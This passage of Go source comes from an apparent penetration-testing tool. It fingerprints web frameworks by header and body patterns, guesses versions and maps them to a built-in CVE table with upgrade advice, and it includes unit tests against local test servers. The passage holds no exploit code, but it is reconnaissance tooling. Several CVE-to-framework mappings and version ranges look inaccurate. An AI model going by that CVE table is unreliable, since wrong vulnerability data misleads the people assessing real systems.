{Pattern: `symfony`, Weight: 0.4, HeaderOnly: true},
{Pattern: `sf_`, Weight: 0.3, HeaderOnly: true},
{Pattern: `_sf2_`, Weight: 0.3, HeaderOnly: true},
},
"FastAPI": {
{Pattern: `fastapi`, Weight: 0.4, HeaderOnly: true},
{Pattern: `starlette`, Weight: 0.3, HeaderOnly: true},
},
"Gin": {
{Pattern: `gin-gonic`, Weight: 0.4},
{Pattern: `gin`, Weight: 0.2, HeaderOnly: true},
},
"Phoenix": {
{Pattern: `_csrf_token`, Weight: 0.4, HeaderOnly: true},
{Pattern: `phx-`, Weight: 0.3},
{Pattern: `phoenix`, Weight: 0.2},
},
"Ember.js": {
{Pattern: `ember`, Weight: 0.4},
{Pattern: `ember-cli`, Weight: 0.4},
{Pattern: `data-ember`, Weight: 0.3},
},
"Backbone.js": {
{Pattern: `backbone`, Weight: 0.4},
{Pattern: `Backbone.`, Weight: 0.4},
},
"Meteor": {
{Pattern: `__meteor_runtime_config__`, Weight: 0.5},
{Pattern: `meteor`, Weight: 0.3},
},
"Strapi": {
{Pattern: `strapi`, Weight: 0.4},
{Pattern: `/api/`, Weight: 0.2},
},
"AdonisJS": {
{Pattern: `adonis`, Weight: 0.4},
{Pattern: `_csrf`, Weight: 0.2, HeaderOnly: true},
},
"CakePHP": {
{Pattern: `cakephp`, Weight: 0.4},
{Pattern: `cake`, Weight: 0.2},
},
"CodeIgniter": {
{Pattern: `codeigniter`, Weight: 0.4},
{Pattern: `ci_session`, Weight: 0.4, HeaderOnly: true},
},
}
// frameworkMatch holds the result of checking a single framework
type frameworkMatch struct {
framework string
confidence float32
}
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Framework Detection") + "..."))
frameworklog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Framework Detection 🔍",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
bodyStr := string(body)
// concurrent framework detection
results := make(chan frameworkMatch, len(frameworkSignatures))
var wg sync.WaitGroup
for framework, signatures := range frameworkSignatures {
wg.Add(1)
go func(fw string, sigs []FrameworkSignature) {
defer wg.Done()
var weightedScore float32
var totalWeight float32
for _, sig := range sigs {
totalWeight += sig.Weight
if sig.HeaderOnly {
if containsHeader(resp.Header, sig.Pattern) {
weightedScore += sig.Weight
}
} else if strings.Contains(bodyStr, sig.Pattern) {
weightedScore += sig.Weight
}
}
confidence := float32(1.0 / (1.0 + math.Exp(-float64(weightedScore/totalWeight)*6.0)))
results <- frameworkMatch{framework: fw, confidence: confidence}
}(framework, signatures)
}
// close results channel when all goroutines complete
go func() {
wg.Wait()
close(results)
}()
// find the best match
var bestMatch string
var highestConfidence float32
for match := range results {
if match.confidence > highestConfidence {
highestConfidence = match.confidence
bestMatch = match.framework
}
}
if highestConfidence > 0.5 { // threshold for detection
versionMatch := extractVersionWithConfidence(bodyStr, bestMatch)
cves, suggestions := getVulnerabilities(bestMatch, versionMatch.Version)
result := &FrameworkResult{
Name: bestMatch,
Version: versionMatch.Version,
Confidence: highestConfidence,
VersionConfidence: versionMatch.Confidence,
CVEs: cves,
Suggestions: suggestions,
RiskLevel: getRiskLevel(cves),
}
if logdir != "" {
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
bestMatch, versionMatch.Version, highestConfidence, versionMatch.Confidence)
if len(cves) > 0 {
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
}
logger.Write(url, logdir, logEntry)
}
frameworklog.Infof("Detected %s framework (version: %s, confidence: %.2f)",
styles.Highlight.Render(bestMatch), versionMatch.Version, highestConfidence)
if versionMatch.Confidence > 0 {
frameworklog.Debugf("Version detected from: %s (confidence: %.2f)",
versionMatch.Source, versionMatch.Confidence)
}
if len(cves) > 0 {
frameworklog.Warnf("Risk level: %s", styles.SeverityHigh.Render(result.RiskLevel))
for _, cve := range cves {
frameworklog.Warnf("Found potential vulnerability: %s", styles.Highlight.Render(cve))
}
for _, suggestion := range suggestions {
frameworklog.Infof("Recommendation: %s", suggestion)
}
}
return result, nil
}
frameworklog.Info("No framework detected with sufficient confidence")
return nil, nil
}
func containsHeader(headers http.Header, signature string) bool {
sigLower := strings.ToLower(signature)
// check header names
for name := range headers {
if strings.Contains(strings.ToLower(name), sigLower) {
return true
}
}
// check header values
for _, values := range headers {
for _, value := range values {
if strings.Contains(strings.ToLower(value), sigLower) {
return true
}
}
}
return false
}
func detectVersion(body string, framework string) string {
return extractVersion(body, framework)
}
// CVEEntry represents a known vulnerability for a framework version
type CVEEntry struct {
CVE string
AffectedVersions []string // versions affected (use semver ranges in future)
FixedVersion string
Severity string // critical, high, medium, low
Description string
Recommendations []string
}
// Known CVEs database - can be extended or loaded from external source
var knownCVEs = map[string][]CVEEntry{
"Laravel": {
{
CVE: "CVE-2021-3129",
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
FixedVersion: "8.4.2",
Severity: "critical",
Description: "Ignition debug mode RCE vulnerability",
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
},
{
CVE: "CVE-2021-21263",
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
FixedVersion: "8.5.0",
Severity: "high",
Description: "SQL injection via request validation",
Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
},
},
"Django": {
{
CVE: "CVE-2023-36053",
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
FixedVersion: "4.2.3",
Severity: "high",
Description: "Potential ReDoS in EmailValidator and URLValidator",
Recommendations: []string{"Update to Django 4.2.3 or later"},
},
{
CVE: "CVE-2023-31047",
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
FixedVersion: "4.1.9",
Severity: "medium",
Description: "File upload validation bypass",
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
},
},
"WordPress": {
{
CVE: "CVE-2023-2745",
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
FixedVersion: "6.2",
Severity: "medium",
Description: "Directory traversal vulnerability",
Recommendations: []string{"Update to WordPress 6.2 or later"},
},
},
"Drupal": {
{
CVE: "CVE-2023-44487",
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
FixedVersion: "10.1.4",
Severity: "high",
Description: "HTTP/2 rapid reset attack (DoS)",
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
},
},
"Next.js": {
{
CVE: "CVE-2023-46298",
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
FixedVersion: "13.5.0",
Severity: "medium",
Description: "Server-side request forgery vulnerability",
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
},
},
"Angular": {
{
CVE: "CVE-2023-26117",
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
FixedVersion: "15.2.0",
Severity: "medium",
Description: "Regular expression denial of service",
Recommendations: []string{"Update to Angular 15.2.0 or later"},
},
},
"Vue.js": {
{
CVE: "CVE-2024-5987",
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
FixedVersion: "2.7.16",
Severity: "medium",
Description: "XSS vulnerability in certain configurations",
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
},
},
"Express.js": {
{
CVE: "CVE-2024-29041",
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
FixedVersion: "4.19.2",
Severity: "medium",
Description: "Open redirect vulnerability",
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
},
},
"Ruby on Rails": {
{
CVE: "CVE-2023-22795",
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
FixedVersion: "7.0.4.1",
Severity: "high",
Description: "ReDoS vulnerability in Action Dispatch",
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
},
},
"Spring": {
{
CVE: "CVE-2022-22965",
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
FixedVersion: "5.3.18",
Severity: "critical",
Description: "Spring4Shell RCE vulnerability",
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
},
},
"Spring Boot": {
{
CVE: "CVE-2022-22963",
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
FixedVersion: "2.6.6",
Severity: "critical",
Description: "RCE via Spring Cloud Function",
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
},
},
"ASP.NET": {
{
CVE: "CVE-2023-36899",
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
FixedVersion: "latest security patches",
Severity: "high",
Description: "Elevation of privilege vulnerability",
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
},
},
"Joomla": {
{
CVE: "CVE-2023-23752",
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
FixedVersion: "4.2.8",
Severity: "critical",
Description: "Improper access check allowing unauthorized access to webservice endpoints",
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
},
},
"Magento": {
{
CVE: "CVE-2022-24086",
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
FixedVersion: "2.4.3-p1",
Severity: "critical",
Description: "Improper input validation leading to arbitrary code execution",
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
},
},
}
func getVulnerabilities(framework, version string) ([]string, []string) {
entries, exists := knownCVEs[framework]
if !exists {
return nil, nil
}
var cves []string
var recommendations []string
seenRecs := make(map[string]bool)
for _, entry := range entries {
for _, affectedVer := range entry.AffectedVersions {
if version == affectedVer || strings.HasPrefix(version, affectedVer) {
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
for _, rec := range entry.Recommendations {
if !seenRecs[rec] {
recommendations = append(recommendations, rec)
seenRecs[rec] = true
}
}
break
}
}
}
return cves, recommendations
}
// getRiskLevel determines overall risk based on detected CVEs
func getRiskLevel(cves []string) string {
if len(cves) == 0 {
return "low"
}
for _, cve := range cves {
if strings.Contains(cve, "critical") {
return "critical"
}
}
for _, cve := range cves {
if strings.Contains(cve, "high") {
return "high"
}
}
return "medium"
}
// VersionMatch represents a version detection result with confidence
type VersionMatch struct {
Version string
Confidence float32
Source string // where the version was found
}
// isValidVersion checks if a version string looks reasonable
func isValidVersion(version string) bool {
if version == "" || version == "unknown" {
return false
}
// parse major version and check if reasonable (< 100)
parts := strings.Split(version, ".")
if len(parts) < 2 {
return false
}
var major int
_, err := fmt.Sscanf(parts[0], "%d", &major)
if err != nil || major >= 100 || major < 0 {
return false
}
return true
}
func extractVersion(body string, framework string) string {
match := extractVersionWithConfidence(body, framework)
return match.Version
}
func extractVersionWithConfidence(body string, framework string) VersionMatch {
versionPatterns := map[string][]struct {
pattern string
confidence float32
source string
}{
"Laravel": {
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
},
"Django": {
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
},
"Ruby on Rails": {
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
},
"Express.js": {
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"ASP.NET": {
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
},
"ASP.NET Core": {
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
},
"Spring": {
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
},
"Spring Boot": {
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
},
"Flask": {
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
},
"Next.js": {
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"Nuxt.js": {
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"Vue.js": {
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
},
"Angular": {
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"React": {
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
},
"Svelte": {
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"SvelteKit": {
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"WordPress": {
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Drupal": {
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
},
"Joomla": {
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
},
"Magento": {
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Shopify": {
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
},
"Symfony": {
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"FastAPI": {
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Gin": {
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Phoenix": {
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Ember.js": {
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Backbone.js": {
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Meteor": {
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Ghost": {
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
}
patterns, exists := versionPatterns[framework]
if !exists {
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
}
var bestMatch VersionMatch
for _, p := range patterns {
re := regexp.MustCompile(p.pattern)
matches := re.FindStringSubmatch(body)
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
candidate := matches[1]
// validate version looks reasonable
if isValidVersion(candidate) {
bestMatch = VersionMatch{
Version: candidate,
Confidence: p.confidence,
Source: p.source,
}
}
}
}
if bestMatch.Version == "" {
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
}
return bestMatch
}
+538
View File
@@ -0,0 +1,538 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
import (
"net/http"
"net/http/httptest"
"testing"
"time"
)
func TestContainsHeader_HeaderName(t *testing.T) {
headers := http.Header{
"X-Powered-By": []string{"Express"},
"Content-Type": []string{"text/html"},
}
if !containsHeader(headers, "x-powered-by") {
t.Error("expected to find x-powered-by in header names")
}
if !containsHeader(headers, "X-POWERED-BY") {
t.Error("expected case-insensitive match for header names")
}
}
func TestContainsHeader_HeaderValue(t *testing.T) {
headers := http.Header{
"X-Powered-By": []string{"Express"},
"Set-Cookie": []string{"laravel_session=abc123"},
}
if !containsHeader(headers, "express") {
t.Error("expected to find 'express' in header values")
}
if !containsHeader(headers, "laravel_session") {
t.Error("expected to find 'laravel_session' in header values")
}
}
func TestContainsHeader_NotFound(t *testing.T) {
headers := http.Header{
"Content-Type": []string{"text/html"},
}
if containsHeader(headers, "django") {
t.Error("expected not to find 'django' in headers")
}
}
func TestExtractVersion_Laravel(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Laravel 8.0.0", "8.0.0"},
{"Laravel v9.52.1", "9.52.1"},
{"Laravel 10.0", "10.0"},
{"no version here", "unknown"},
}
for _, tt := range tests {
result := extractVersion(tt.body, "Laravel")
if result != tt.expected {
t.Errorf("extractVersion(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestExtractVersion_Django(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Django 4.2.0", "4.2.0"},
{"Django/3.2.1", "3.2.1"},
{"no version", "unknown"},
}
for _, tt := range tests {
result := extractVersion(tt.body, "Django")
if result != tt.expected {
t.Errorf("extractVersion(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestExtractVersion_NextJS(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Next.js 13.4.0", "13.4.0"},
{"Next.js/14.0.1", "14.0.1"},
{"no version", "unknown"},
}
for _, tt := range tests {
result := extractVersion(tt.body, "Next.js")
if result != tt.expected {
t.Errorf("extractVersion(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestDetectFramework_NextJS(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Test</title></head>
<body>
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
<script src="/_next/static/chunks/main.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Next.js" {
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
}
if result.Confidence <= 0 {
t.Error("expected positive confidence")
}
}
func TestDetectFramework_Express(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Powered-By", "Express")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Express.js" {
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
}
}
func TestDetectFramework_WordPress(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
<script src="/wp-includes/js/jquery.js"></script>
</head>
<body></body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "WordPress" {
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
}
}
func TestDetectFramework_ASPNET(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-AspNet-Version", "4.0.30319")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<body>
<input type="hidden" name="__VIEWSTATE" value="abc123">
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "ASP.NET" {
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
}
}
func TestDetectFramework_NoMatch(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// result can be nil or have low confidence for unrecognized frameworks
if result != nil && result.Confidence > 0.6 {
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
}
}
func TestGetVulnerabilities_Laravel(t *testing.T) {
cves, suggestions := getVulnerabilities("Laravel", "8.0.0")
if len(cves) == 0 {
t.Error("expected CVEs for Laravel 8.0.0")
}
if len(suggestions) == 0 {
t.Error("expected suggestions for Laravel 8.0.0")
}
}
func TestGetVulnerabilities_NoMatch(t *testing.T) {
cves, suggestions := getVulnerabilities("Unknown", "1.0.0")
if len(cves) != 0 {
t.Error("expected no CVEs for unknown framework")
}
if len(suggestions) != 0 {
t.Error("expected no suggestions for unknown framework")
}
}
func TestFrameworkResult_Fields(t *testing.T) {
result := FrameworkResult{
Name: "Laravel",
Version: "9.0.0",
Confidence: 0.85,
VersionConfidence: 0.9,
CVEs: []string{"CVE-2021-3129"},
Suggestions: []string{"Update to latest version"},
RiskLevel: "critical",
}
if result.Name != "Laravel" {
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
}
if result.Version != "9.0.0" {
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
}
if result.Confidence != 0.85 {
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
}
if result.VersionConfidence != 0.9 {
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
}
if len(result.CVEs) != 1 {
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
}
if len(result.Suggestions) != 1 {
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
}
if result.RiskLevel != "critical" {
t.Errorf("expected RiskLevel 'critical', got '%s'", result.RiskLevel)
}
}
func TestExtractVersionWithConfidence(t *testing.T) {
tests := []struct {
name string
body string
framework string
wantVer string
minConf float32
}{
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
{"No version", "Hello World", "Laravel", "unknown", 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := extractVersionWithConfidence(tt.body, tt.framework)
if result.Version != tt.wantVer {
t.Errorf("extractVersionWithConfidence() version = %q, want %q", result.Version, tt.wantVer)
}
if result.Confidence < tt.minConf {
t.Errorf("extractVersionWithConfidence() confidence = %f, want >= %f", result.Confidence, tt.minConf)
}
})
}
}
func TestGetRiskLevel(t *testing.T) {
tests := []struct {
name string
cves []string
expected string
}{
{"no CVEs", []string{}, "low"},
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := getRiskLevel(tt.cves)
if result != tt.expected {
t.Errorf("getRiskLevel() = %q, want %q", result, tt.expected)
}
})
}
}
func TestGetVulnerabilities_Django(t *testing.T) {
cves, suggestions := getVulnerabilities("Django", "3.2.0")
if len(cves) == 0 {
t.Error("expected CVEs for Django 3.2.0")
}
if len(suggestions) == 0 {
t.Error("expected suggestions for Django 3.2.0")
}
}
func TestGetVulnerabilities_Spring(t *testing.T) {
cves, suggestions := getVulnerabilities("Spring", "5.3.0")
if len(cves) == 0 {
t.Error("expected CVEs for Spring 5.3.0 (Spring4Shell)")
}
found := false
for _, cve := range cves {
if cve == "CVE-2022-22965 (critical)" {
found = true
break
}
}
if !found {
t.Error("expected Spring4Shell CVE-2022-22965")
}
if len(suggestions) == 0 {
t.Error("expected suggestions for Spring 5.3.0")
}
}
func TestDetectFramework_Vue(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Vue App</title></head>
<body>
<div id="app" data-v-12345>
<div v-cloak>Loading...</div>
</div>
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Vue.js" {
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
}
}
func TestDetectFramework_Angular(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html ng-version="15.0.0">
<head><title>Angular App</title></head>
<body>
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Angular" {
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
}
}
func TestDetectFramework_React(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>React App</title></head>
<body>
<div id="root" data-reactroot="">Content</div>
<script src="/static/js/react-dom.production.min.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "React" {
t.Errorf("expected framework 'React', got '%s'", result.Name)
}
}
func TestDetectFramework_Svelte(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Svelte App</title></head>
<body>
<div id="app" class="__svelte-123">
<span class="svelte-abc123">Content</span>
</div>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Svelte" {
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
